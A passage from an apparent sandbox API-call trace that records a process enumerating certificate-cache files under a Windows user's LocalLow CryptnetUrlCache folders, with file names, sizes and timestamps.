cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x0, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x0, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x0, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x0, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0x0, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0089.156] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0089.156] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x0, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0x0, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", 